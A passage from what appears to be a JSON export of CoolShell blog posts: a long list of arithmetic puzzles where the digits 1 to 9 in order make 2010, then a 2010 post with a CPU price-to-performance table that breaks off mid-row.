((1+.2)/.34)\\*5\\*6.7\\*(8+9)  \n\n2010 = ((1-2)/.3)\\*(4+5)\\*67\\*(8-9)  \n\n2010 = (1-23\\*(.4-5.6))\\*(7+8)/.9  \n\n2010 = (1/.2)\\*((34/.5)\\*6-7-8+9)  \n\n2010 = (12/.3)\\*((4\\*5+6+7)/.8+9)  \n\n2010 = ((1-2)/.3)\\*(4-(5+6)\\*7\\*8+9)  \n\n2010 = ((1+2)/.3)\\*(4\\*(5-6+7)\\*8+9)  \n\n2010 = 1+.2+(3\\*4/.5)\\*(.6+.7+8)\\*9  \n\n2010 = (12/.3)\\*(.45-6+(7-.8)\\*9)  \n\n2010 = ((1+.2)/.3)\\*(4.5-6+7\\*8\\*9)  \n\n2010 = (1\\*2/.3)\\*(.4-.5+6\\*.7\\*8)\\*9  \n\n2010 = (.1+.2-3)\\*(4/.5-678)/.9  \n\n2010 = ((1+2+3)/.4)\\*(5-6+(7+8)\\*9)  \n\n2010 = ((.1-.2)/3+4.5)\\*(6\\*7+8)\\*9  \n\n2010 = (1-(2+3\\*(4-56/.7))\\*8)/.9  \n\n2010 = (1+(2/(3+.4))\\*5)\\*(6+7\\*8\\*9)  \n\n2010 = (1\\*2/.3)\\*(4+5\\*(6.7-.8))\\*9  \n\n2010 = (1/.2)\\*(3+(4\\*(5+6)+7)\\*8-9)  \n\n2010 = (1/.2)\\*3\\*((4+5)\\*(6+7)+8+9)  \n\n2010 = ((1-2)/.3)\\*(4/.5-67-8)\\*9  \n\n2010 = ((1-2)/.3)\\*(4/5-67-.8)\\*9  \n\n2010 = (1+2)\\*(3+(4/.5+67)\\*8)/.9  \n\n2010 = (1+2)\\*(3+(4/.5)\\*67/.8)-9  \n\n2010 = (1+2+3\\*4)\\*((5/.6)\\*(7+8)+9)  \n\n2010 = (((1-2)/.3)/4+5)\\*67\\*.8\\*9  \n\n2010 = (((1-2)/3)/.4+5)\\*67\\*.8\\*9  \n\n2010 = (1/.2)\\*(3+(4\\*5+6)\\*(7+8)+9)  \n\n2010 = (1/.2)\\*(3\\*(45/.6+7\\*8)+9)  \n\n2010 = (.1+.2+.3+4\\*5\\*6)\\*(7+8)/.9  \n\n2010 = (1/.2)\\*(3-(4-5\\*6)\\*(7+8)+9)  \n\n2010 = (1+(.2-3)/.4)\\*5\\*67/(8-9)  \n\n2010 = 1-(23+(.4+.5)/.6)\\*(7-89)  \n\n2010 = 1-((2+34)\\*(.5-6)-7)\\*(.8+9)  \n\n2010 = (12/.34)\\*.5\\*(6+.7)\\*(8+9)  \n\n2010 = (12/(3+.4))\\*5\\*67\\*(.8+.9)  \n\n2010 = ((.1\\*2/.3-4\\*56)/(7-8))\\*9  \n\n2010 = ((1\\*.2/.3-4\\*56)/(7-8))\\*9  \n\n2010 = (1\\*(.2/.3-4\\*56)/(7-8))\\*9  \n\n2010 = (1/(.2-.3)-4\\*5)\\*67/(8-9)  \n\n2010 = (1\\*2/.3)\\*45\\*(6-.7/(8-9))  \n\n2010 = (1+(23-.4)\\*(.5\\*6+7)\\*8)/.9  \n\n2010 = (1+(23-.4)\\*(5\\*.6+7)\\*8)/.9  \n\n2010 = ((.1-2/.3)\\*4-5)\\*(6/7-8)\\*9  \n\n2010 = (1+(2/(.3+.45))\\*678)/.9  \n\n2010 = ((1+2-.3)/.4)\\*5\\*6.7\\*8/.9  \n\n2010 = (1+2.3/.4)\\*5\\*(6+.7)\\*8/.9  \n\n2010 = (1+(2+.3)/.4)\\*5\\*6.7\\*8/.9  \n\n2010 = (1-23\\*(.4-5-.6))\\*(7+8)/.9  \n\n2010 = 1-((23-.4\\*5)/.6)\\*7\\*(.8-9)  \n\n2010 = 1-((23-4\\*.5)/.6)\\*7\\*(.8-9)  \n\n2010 = .1\\*.2-(.3+.4-5\\*6)\\*7\\*(.8+9)  \n\n2010 = ((1-2)/.3+45)\\*(6+.7)\\*.8\\*9  \n\n2010 = ((.1-.2)/.3+4.5)\\*67\\*.8\\*9  \n\n2010 = (1+(2+.3)\\*4)\\*5\\*67/(.8+.9)  \n\n2010 = 1+(2+(3+4\\*(.5+6))\\*7)\\*(.8+9)  \n\n2010 = (1+2)\\*34\\*5\\*(6+.7)/(.8+.9)  \n\n2010 = (1/.2)\\*3\\*4\\*5\\*(6-.7/(8-9))  \n\n2010 = (1\\*2/.3)\\*45\\*(6-7\\*(.8-.9))  \n\n2010 = (1\\*2/.3)\\*((4+5)\\*.6\\*7\\*8-.9)  \n\n2010 = (1\\*2/.3)\\*((4+5)\\*6\\*.7\\*8-.9)  \n\n2010 = (1\\*2/.3)\\*((4+5)\\*6\\*7\\*.8-.9)  \n\n2010 = ((1/.2)\\*3/4)\\*(5+(67-8)\\*9)  \n\n2010 = ((1/2)\\*3/.4)\\*(5+(67-8)\\*9)  \n\n2010 = (((1+.2)/.3)\\*456-7-8)/.9  \n\n2010 = (1+(234-(5+.6)/.7)\\*8)/.9  \n\n2010 = ((.1-.2)/3+4+.5)\\*(6\\*7+8)\\*9  \n\n2010 = ((1+.2)/.3)\\*(4+.5-6+7\\*8\\*9)  \n\n2010 = (1-2-3)\\*((.4+.5)/.6-7\\*8\\*9)  \n\n2010 = (.1\\*2+(.3-45)\\*6)\\*(.7+.8-9)  \n\n2010 = (1\\*.2+(.3-45)\\*6)\\*(.7+.8-9)  \n\n2010 = 1\\*(.2+(.3-45)\\*6)\\*(.7+.8-9)  \n\n2010 = ((1-.2)\\*3/.4)\\*(.5+6\\*7\\*8)-9  \n\n2010 = (1/(.2+.3)+4)\\*(.5+6\\*7\\*8)-9  \n\n2010 = (1\\*2/.3)\\*(4+5\\*(6+.7-.8))\\*9  \n\n2010 = ((1-2\\*34)/.5)\\*(6/(7-8)-9)  \n\n2010 = ((.1/2+3/.4+5)/.6+7)\\*8\\*9  \n\n2010 = ((1+2-.3)/.4)\\*.5\\*67\\*8/.9  \n\n2010 = ((1+2-.3)/.4)\\*5\\*67\\*.8/.9  \n\n2010 = 1+((2/.3+.4)\\*5\\*6-7)\\*(.8+9)  \n\n2010 = (1/.2)\\*((34/.5)\\*6-7.8)+9  \n\n2010 = (1+(2+.3)/.4)\\*.5\\*67\\*8/.9  \n\n2010 = (1+(2+.3)/.4)\\*5\\*67\\*.8/.9  \n\n2010 = (1+2+(.3/.4)\\*.5)\\*67\\*8/.9  \n\n2010 = (1/(.2-.3+.4))\\*(5+6+7\\*8)\\*9  \n\n2010 = ((1+.2/.3+4)\\*5\\*(.6+7)+8)\\*9  \n\n2010 = 1-(2\\*3\\*(4-.5)/.6)\\*7\\*(.8-9)  \n\n2010 = ((1-2)/.3)\\*(4+5)\\*67/(8-9)  \n\n2010 = (1/.2)\\*3\\*4\\*5\\*(6-7\\*(.8-.9))  \n\n2010 = ((.1+(2+3)\\*4)/.5)\\*(67-8-9)  \n\n2010 = ((12/.3)\\*(45+.6)-7-8)/.9  \n\n2010 = (12/.3-4)\\*(56-(.7+.8)/9)  \n\n2010 = ((1-2\\*34)/(.5+(6-7)\\*.8))\\*9  \n\n2010 = ((1+23)/.4)\\*((.5-6)\\*7+8\\*9)  \n\n2010 = .1\\*.2+(3+4)\\*(5\\*6-.7)\\*(.8+9)  \n\n2010 = ((1-2+3)/.4)\\*(5\\*(.6+78)+9)  \n\n2010 = (1+(23/(.4+5))\\*6\\*(.7+8))\\*9  \n\n2010 = .1+(2/.3)\\*45\\*(6+.7)+.8-.9  \n\n2010 = .1+(2/.3)\\*(4+.5)\\*67+.8-.9  \n\n2010 = ((1+2)/(.3\\*4+.5))\\*67\\*(8+9)  \n\n2010 = ((1+2)/(3\\*.4+.5))\\*67\\*(8+9)  \n\n2010 = (12/(3+.4))\\*5\\*(6+.7)\\*(8+9)  \n\n2010 = ((12/.3)\\*45+.6\\*(7+8))/.9  \n\n2010 = (1-(2+.3)\\*(4-56))\\*(7+8)/.9  \n\n2010 = ((1+23)/.4)\\*5\\*(6-.7\\*(8-9))  \n\n2010 = (1/.2)\\*((34/.5)\\*6-7-.8)+9  \n\n2010 = ((12+3)/.4)\\*(56-.7-.8-.9)  \n\n2010 = 1-((.2-3)/.4)\\*((5\\*6+7)\\*8-9)  \n\n2010 = (12\\*3/.4)\\*(5+(.6+7+8)/.9)  \n\n2010 = ((1+2)/.3)\\*(4+5\\*(6\\*7-.8)-9)  \n\n2010 = (1+(2/.3+4\\*5)\\*(67+.8))/.9  \n\n2010 = 1-((.2-3)/.4)\\*(5+6\\*(7\\*8-9))  \n\n2010 = (1\\*2/.3)\\*4\\*((.5+67)/.8-9)  \n\n2010 = 1+((.2-3)/.4)\\*((5-6\\*7)\\*8+9)  \n\n2010 = (12/.3)\\*((.4+5+6\\*7)/.8-9)  \n\n2010 = ((12+3)\\*4/.5+.6)\\*(7+8)/.9  \n\n2010 = (1+(2-(3+4)\\*5\\*(.6-7))\\*8)/.9  \n\n2010 = 1+(2+3)\\*((4/.5)\\*6-7)\\*(.8+9)  \n\n2010 = (12/3)\\*((.4-.5)/.6+7\\*8)\\*9  \n\n2010 = ((1/2)/(.3+.4+.5))\\*67\\*8\\*9  \n\n2010 = (1-23\\*(.4/.5-6))\\*(7+8)/.9  \n\n2010 = (1/.2)\\*(3+(4-.5)\\*(6\\*7+8\\*9))  \n\n2010 = ((.1/.2-34)/.5)\\*(6\\*7-8\\*9)  \n\n2010 = ((1-2)\\*3/.4)\\*(5\\*(.6-7\\*8)+9)  \n\n2010 = (1/.2)\\*(3+4\\*(.5+6)\\*(7+8)+9)  \n\n2010 = (1+(2/.3)\\*4\\*(.5+67)+8)/.9  \n\n2010 = (.1-2)\\*(34-.5)\\*6/(.7-.89)  \n\n2010 = (1+(2/.3)\\*(4+5\\*67)\\*.8)/.9  \n\n2010 = (12/.34)\\*5\\*(6+.7)\\*(.8+.9)  \n\n2010 = ((1+.2)/.34)\\*5\\*67\\*(.8+.9)  \n\n2010 = (((1+2)/3.4)/.5)\\*67\\*(8+9)  \n\n2010 = 1-(.2+(3+.4)\\*(5+67))\\*(.8-9)  \n\n2010 = 1\\*(((23/.4)\\*5-.6)\\*7+.8+.9)  \n\n2010 = 1\\*(((23/.4)\\*5-.6)\\*7+.8)+.9  \n\n2010 = ((1/.2+3)/.4)\\*5\\*(6+7+8-.9)  \n\n2010 = ((1.2+.3)/.4)\\*(5+(67-8)\\*9)  \n\n2010 = (1/(.2+.3)-4\\*(.5/6-7)\\*8)\\*9  \n\n2010 = (1/(.2+.3)-45\\*6)\\*(.7+.8-9)  \n\n2010 = (1\\*2/.3)\\*(.4+.5\\*(67-.8))\\*9  \n\n2010 = (1-((.2-3/.4)\\*5\\*6-7)\\*8)/.9  \n\n2010 = (1-(.2/.3-4)\\*(.5+67-.8))\\*9  \n\n2010 = (1/.2+(3/.4)\\*5\\*6)\\*(.7+8)+9  \n\n2010 = (.1\\*2-(3+.4)\\*(.5-67)\\*8)/.9  \n\n2010 = (1\\*.2-(3+.4)\\*(.5-67)\\*8)/.9  \n\n2010 = 1\\*(.2-(3+.4)\\*(.5-67)\\*8)/.9  \n\n2010 = 1-((2/.3)\\*4+5/.6)\\*7\\*(.8-9)  \n\n2010 = 1-(.2-3\\*(4+5)\\*(.6+7))\\*(.8+9)  \n\n2010 = ((12+3)/.4)\\*(.5+(67-8)\\*.9)  \n\n2010 = (1/(.2/3-.4))\\*(5-(67+8)\\*9)  \n\n2010 = ((1-2)/.3)\\*(.4/.5-67.8)\\*9  \n\n2010 = (1+2)\\*(3+(4/.5)\\*(67+8))/.9  \n\n2010 = ((1-2\\*34)/(.5+(.6-7)/8))\\*9  \n\n2010 = (1+2\\*(3+4))\\*((5/.6)\\*(7+8)+9)  \n\n2010 = ((1+2)/.3)\\*((4\\*5-6)\\*(7+8)-9)  \n\n2010 = .1+((2/.3)\\*4\\*5+.6)\\*(7+8)+.9  \n\n2010 = .1+((2\\*3/.4)/.5)\\*67+.8-.9  \n\n2010 = ((12/.3)\\*(.4+5)\\*67/.8)/9  \n\n2010 = ((12/.3)\\*(.4+5)\\*67/8)/.9  \n\n2010 = (((1-2\\*34)/.5)/.6)\\*(7-8)\\*9  \n\n2010 = ((1+23)/.4)\\*5\\*(6-.7/(8-9))  \n\n2010 = ((1\\*2/.3)/.4)\\*(5.6+7+.8)\\*9  \n\n2010 = ((.1+.2)/.3-4)\\*(5-(67+8)\\*9)  \n\n2010 = ((1+.2+.3)/.4)\\*(5+(67-8)\\*9)  \n\n2010 = (1\\*2\\*3/.4)\\*((5/.6)\\*(7+8)+9)  \n\n2010 = (((1/.2)/3+4)\\*5\\*(.6+7)+8)\\*9  \n\n2010 = (((1/2)/.3+4)\\*5\\*(.6+7)+8)\\*9  \n\n2010 = ((1+.2)/.3)\\*((4-5)/6+7\\*8)\\*9  \n\n2010 = 1-(((2-.3)/.4)\\*56+7)\\*(.8-9)  \n\n2010 = (1/.2)\\*3\\*((4+5)/.6+7\\*(8+9))  \n\n2010 = (1/.2)\\*((3+.4\\*5)\\*(.6+78)+9)  \n\n2010 = (1/.2)\\*((3+4\\*.5)\\*(.6+78)+9)  \n\n2010 = (1+(2/.3)\\*(.4+5\\*6.7)\\*8)/.9  \n\n2010 = ((1+.2)/.34)\\*5\\*(6+.7)\\*(8+9)  \n\n2010 = ((12/.3)\\*45+6\\*(.7+.8))/.9  \n\n2010 = ((1+23)/.4)\\*5\\*(6-7\\*(.8-.9))  \n\n2010 = ((12/.3)/.4)\\*(5+6-.7+.8+9)  \n\n2010 = ((1-2)/.3)\\*(.4/.5-67-.8)\\*9  \n\n2010 = (((.1-.2)/3)/.4+.5)\\*67\\*8\\*9  \n\n2010 = (((1-(23+4)\\*5)/.6)/(7-8))\\*9  \n\n2010 = 1-(2+(3/.4)\\*(5-.6))\\*7\\*(.8-9)  \n\n2010 = ((1-.2/3+4/.5)/.6)\\*(7+8)\\*9  \n\n2010 = (1+(2/.3)\\*(.4+.5\\*67)\\*8)/.9  \n\n2010 = (((1+2)/.34)/.5)\\*6.7\\*(8+9)  \n\n2010 = ((1\\*2/.3)/.4)\\*(5+.6+7+.8)\\*9  \n\n2010 = ((12+3)/.4)\\*(.5+(6.7-.8)\\*9)  \n\n2010 = ((.1-2/.3)\\*4-5)\\*(.6/.7-8)\\*9  \n\n2010 = ((1+2-.3)/.4)\\*5\\*(6+.7)\\*8/.9  \n\n2010 = (1+(2+.3)/.4)\\*5\\*(6+.7)\\*8/.9  \n\n2010 = (.1/(.2-.3)+4\\*(.5/6+7\\*8))\\*9  \n\n2010 = ((.1/.2)\\*3/.4)\\*(5+(67-8)\\*9)  \n\n2010 = ((1/.2)\\*.3/.4)\\*(5+(67-8)\\*9)  \n\n2010 = (12/.3)\\*((4\\*(.5+6)+7)/.8+9)  \n\n2010 = (1+((2/.3)/.4)\\*5/6)\\*(7+8)\\*9  \n\n2010 = ((1/.2-3)/.4)\\*(5\\*(.6+78)+9)  \n\n2010 = (((1-2)/.3)\\*(.4-5\\*(6+7))+8)\\*9  \n\n2010 = ((12+3)/.4)\\*(.5+(6+.7-.8)\\*9)  \n\n2010 = (12/.3)\\*((.4+56)\\*.7/.8+.9)  \n\n2010 = (1.2/.3)\\*((.4-.5)/.6+7\\*8)\\*9  \n\n2010 = (((.1-2)/.3)\\*(4/.5-6\\*7)+8)\\*9  \n\n2010 = ((12+3)/.4)\\*(.5+6\\*(.7+8)+.9)  \n\n2010 = ((.1+.2)/.3+4)\\*(5\\*(.6+78)+9)  \n\n2010 = ((1/.2)\\*3/.4)\\*(56-.7-.8-.9)  \n\n2010 = ((1/.2)/.3)\\*(45+(.6+7.8)\\*9)  \n\n2010 = ((12/(.3-.4))/(5/.67-8))\\*9  \n\n2010 = ((1/.2)\\*3\\*4/.5+.6)\\*(7+8)/.9  \n\n2010 = ((.1/.2)/(.3+.4+.5))\\*67\\*8\\*9  \n\n2010 = ((1/.2)/(.3+.4+.5))\\*67\\*.8\\*9  \n\n2010 = 1-(2/.3)\\*(.4-(.5+6\\*7)\\*(8-.9))  \n\n2010 = (((1+2)/(3+.4))/.5)\\*67\\*(8+9)  \n\n2010 = ((1+2+3)/.4)\\*((5/.6)\\*(7+8)+9)  \n\n2010 = ((1+2)/.3)\\*((4/.5+6)\\*(7+8)-9)  \n\n2010 = ((1+((2/.3)/.4)/.56)\\*7+8)\\*9  \n\n2010 = (((1+2)/.34)/.5)\\*67\\*(.8+.9)  \n\n2010 = ((((1+2)/.3)/.4)\\*5/.6+7+8)\\*9  \n\n2010 = ((1/.2)\\*3/.4)\\*(.5+(67-8)\\*.9)  \n\n2010 = ((1/.2)/(.3-.4))\\*(5\\*6-78\\*.9)  \n\n2010 = ((.1+2)/.3)\\*(4-(.5/6)/7)\\*8\\*9  \n\n2010 = (((1/.2)/.3)\\*4/.5+6\\*(7+8))\\*9  \n\n2010 = (((.1-2)/.3)\\*(4-5\\*(.6+7))+8)\\*9  \n\n2010 = (((.1/.2)/.3+4)\\*5\\*(.6+7)+8)\\*9  \n\n2010 = ((((1-2\\*34)/.5)/.6)/(7-8))\\*9  \n\n2010 = (1+(2/.3)\\*(.4+5\\*(6+.7))\\*8)/.9  \n\n2010 = (((1+2)/.34)/.5)\\*(6+.7)\\*(8+9)  \n\n2010 = ((1/.2)\\*3/.4)\\*(.5+(6.7-.8)\\*9)  \n\n2010 = (((1+23)/.4)/.5+.6)\\*(7+8)/.9  \n\n2010 = ((1/.2+3)/.4)\\*(.5+6\\*(7+8)/.9)  \n\n2010 = ((1/.2)/.3+(4\\*5/.6)\\*(7-.8))\\*9  \n\n2010 = (((1+2/.3)/.4)/.5)\\*6\\*(.7+8)+9  \n\n2010 = ((1/.2)/.3)\\*(.4+.5+(6-.7+8)\\*9)  \n\n2010 = ((1/.2)\\*3/.4)\\*(.5+(6+.7-.8)\\*9)  \n\n2010 = ((1+.2)/.3)\\*((.4-.5)/.6+7\\*8)\\*9  \n\n2010 = ((1/.2)\\*3/.4)\\*(.5+6\\*(.7+8)+.9)  \n\n2010 = ((1/(.2+.3))/.4)\\*(5\\*(.6+78)+9)  \n\n2010 = ((1/.2)/.3)\\*((4+5)\\*(6-.7+8)+.9)  \n\n2010 = ((1/(.2-.3))/(.4-.5))\\*(6+7+8-.9)\n\n\n文章：[来源](http://www.thesamet.com/2010.txt)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1525.html)[GDB 7.0 发布](https://coolshell.cn/articles/1525.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg](https://coolshell.cn/articles/3136.html)[chmod -x chmod的N种解法](https://coolshell.cn/articles/3136.html)\n* [![谁写了Linux](../wp-content/uploads/2009/08/Linux-Stat-150x150.png)](https://coolshell.cn/articles/1360.html)[谁写了Linux](https://coolshell.cn/articles/1360.html)\n* [![感染新冠的经历](../wp-content/uploads/2022/12/covid19-150x150.jpg)](https://coolshell.cn/articles/22341.html)[感染新冠的经历](https://coolshell.cn/articles/22341.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/294.html)[OSGi和Java企业级运算的未来方向](https://coolshell.cn/articles/294.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/511.html)[未来五年程序员需要掌握的10项技能](https://coolshell.cn/articles/511.html)\nThe post [2010 = 1+2-(3-4-5)\\*6\\*7\\*8-9](https://coolshell.cn/articles/2036.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-1-8 CPU的性价比.md",
    "content": "---\nlayout: post\ntitle: CPU的性价比\ndate: 2010/1/8/ 0:9:0\nupdated: 2010/1/8/ 0:9:0\nstatus: publish\npublished: true\ntype: post\n---\n\n下面这个网站是关于CPU的性价比的，其中的性能数据来源于[cpubenchmark.net](http://www.cpubenchmark.net/cpu_list.php)，而价格数据来源于：[newegg.com](http://www.newegg.com/Store/Category.aspx?Category=34)。\n\n\n<http://paulisageek.com/compare/cpu/>\n\n\n于是，得出了目前性价比最差的是：Intel Xeon X5570 @ 2.93GHz，最好的是：AMD Phenom 9850 Quad-Core，下面是一个性价比表格。\n\n\n\n\n\n\n| CPU类型 | 性能 | 价值 | 性价比 |\n| --- | --- | --- | --- |\n| [AMD Phenom 9850 Quad-Core](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103280) | [2864](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+9850+Quad-Core) | [89.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103280) | 31.8 |\n| [AMD Athlon II X4 620](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103706) | [3084](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+II+X4+620) | [99.00](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103706) | 31.2 |\n| [AMD Athlon II X3 425](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103726) | [2366](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+II+X3+425) | [76.00](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103726) | 31.1 |\n| [AMD Athlon 64 X2 Dual Core 6000+](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103772) | [1577](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+64+X2+Dual+Core+6000%2B) | [53.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103772) | 29.2 |\n| [AMD Athlon II X4 630](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103704) | [3282](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+II+X4+630) | [112.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103704) | 29.1 |\n| [AMD Athlon 64 X2 Dual Core 5600+](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103279) | [1473](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+64+X2+Dual+Core+5600%2B) | [50.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103279) | 28.9 |\n| [Intel Celeron E3200 @ 2.40GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819116265) | [1515](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Celeron+E3200+%40+2.40GHz) | [52.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819116265) | 28.6 |\n| [AMD Athlon II X3 435](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103724) | [2416](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+II+X3+435) | [87.00](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103724) | 27.8 |\n| [AMD Phenom 8750 Triple-Core](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103295) | [2000](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+8750+Triple-Core) | [72.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103295) | 27.4 |\n| [AMD Athlon II X2 240](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103688) | [1603](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+II+X2+240) | [58.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103688) | 27.2 |\n| [AMD Athlon II X2 245](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103687) | [1679](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+II+X2+245) | [62.00](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103687) | 27.1 |\n| [Intel Celeron E3300 @ 2.50GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819116264) | [1668](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Celeron+E3300+%40+2.50GHz) | [62.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819116264) | 26.5 |\n| [AMD Sempron 140](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103698) | [913](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Sempron+140) | [35.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103698) | 25.4 |\n| [Pentium Dual-Core E5200 @ 2.50GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819116072) | [1631](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Pentium+Dual-Core+E5200+%40+2.50GHz) | [64.50](http://www.newegg.com/Product/Product.aspx?Item=N82E16819116072) | 25.3 |\n| [AMD Athlon II X2 250](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103681) | [1663](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+II+X2+250) | [67.00](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103681) | 24.8 |\n| [Pentium Dual-Core E5300 @ 2.60GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819116074) | [1706](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Pentium+Dual-Core+E5300+%40+2.60GHz) | [69.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819116074) | 24.4 |\n| [Intel Celeron E1500 @ 2.20GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819116075) | [1216](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Celeron+E1500+%40+2.20GHz) | [49.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819116075) | 24.3 |\n| [AMD Phenom II X4 925](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103656) | [3377](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X4+925) | [140.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103656) | 24 |\n| [AMD Phenom 9150e Quad-Core](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103287) | [2148](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+9150e+Quad-Core) | [89.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103287) | 23.9 |\n| [Pentium Dual-Core E6300 @ 2.80GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819116091) | [1859](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Pentium+Dual-Core+E6300+%40+2.80GHz) | [80.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819116091) | 23 |\n| [AMD Phenom 9750 Quad-Core](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103813) | [2727](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+9750+Quad-Core) | [119.00](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103813) | 22.9 |\n| [Intel Core2 Quad Q8300 @ 2.50GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115207) | [3554](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q8300+%40+2.50GHz) | [159.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115207) | 22.2 |\n| [Intel Core2 Quad Q8200 @ 2.33GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115055) | [3221](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q8200+%40+2.33GHz) | [148.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115055) | 21.6 |\n| [AMD Phenom II X4 810](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103650) | [3019](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X4+810) | [139.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103650) | 21.6 |\n| [AMD Phenom 9650 Quad-Core](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103288) | [2595](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+9650+Quad-Core) | [119.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103288) | 21.6 |\n| [Pentium Dual-Core E6500 @ 2.93GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819116093) | [2042](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Pentium+Dual-Core+E6500+%40+2.93GHz) | [94.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819116093) | 21.5 |\n| [Intel Core i5 750 @ 2.67GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115215) | [4186](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i5+750+%40+2.67GHz) | [194.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115215) | 21.5 |\n| [Intel Core2 Quad Q8400 @ 2.66GHz](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115037) | [3602](http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q8400+%40+2.66GHz) | [167.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819115037) | 21.4 |\n| [AMD Phenom II X4 965](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103692) | [4200](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X4+965) | [195.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103692) | 21.4 |\n| [AMD Phenom II X4 955](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103808) | [3770](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X4+955) | [175.99](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103808) | 21.4 |\n| [AMD Phenom II X4 940](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103644) | [3558](http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X4+940) | [166.97](http://www.newegg.com/Product/Product.aspx?Item=N82E16819103644) | 